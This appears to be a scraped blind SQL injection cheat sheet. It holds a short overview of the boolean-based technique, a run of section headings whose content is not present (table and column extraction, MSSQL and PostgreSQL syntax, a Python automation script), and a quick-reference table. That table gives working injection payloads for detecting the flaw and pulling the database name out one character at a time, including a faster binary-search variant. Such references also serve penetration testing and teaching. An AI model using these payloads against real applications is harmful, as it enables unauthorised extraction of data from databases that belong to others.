Overview
No output or errors visible. Application responds differently (content, status code, redirect) for true vs false conditions. Extract data character by character.Detect
Extract Data — SUBSTRING
Database Name Length
Database Name Character by Character
Faster — ASCII + Binary Search
Extract Tables
Count Tables
Table Name
Extract Columns
Extract Data
MSSQL Syntax
PostgreSQL Syntax
Automation Script (Python)
Quick Reference
| Step | Payload |
|---|---|
| Detect | ' AND 1=1-- - vs ' AND 1=2-- - |
| Length | ' AND LENGTH(database())=N-- - |
| Char by char | ' AND SUBSTRING(database(),POS,1)='x'-- - |
| Binary search | ' AND ASCII(SUBSTRING(database(),POS,1))>N-- - |